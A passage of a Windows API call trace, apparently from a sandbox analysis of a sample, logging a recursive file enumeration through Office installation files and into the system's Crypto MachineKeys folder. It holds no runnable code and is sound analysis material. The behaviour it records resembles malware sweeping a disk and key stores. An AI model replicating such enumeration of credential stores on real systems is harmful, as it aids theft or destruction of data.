nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0271.127] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0271.127] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0271.127] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0271.127] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0271.128] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1 [0271.129] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1 [0271.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 0 [0271.130] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0271.131] GetProcessHeap () returned 0xc10000 [0271.131] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.131] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0271.131] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.132] GetProcessHeap () returned 0xc10000 [0271.132] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.132] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0271.132] GetProcessHeap () returned 0xc10000 [0271.132] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0271.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0271.132] GetProcessHeap () returned 0xc10000 [0271.133] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0271.133] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.133] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0271.133] GetProcessHeap () returned 0xc10000 [0271.133] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0271.135] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 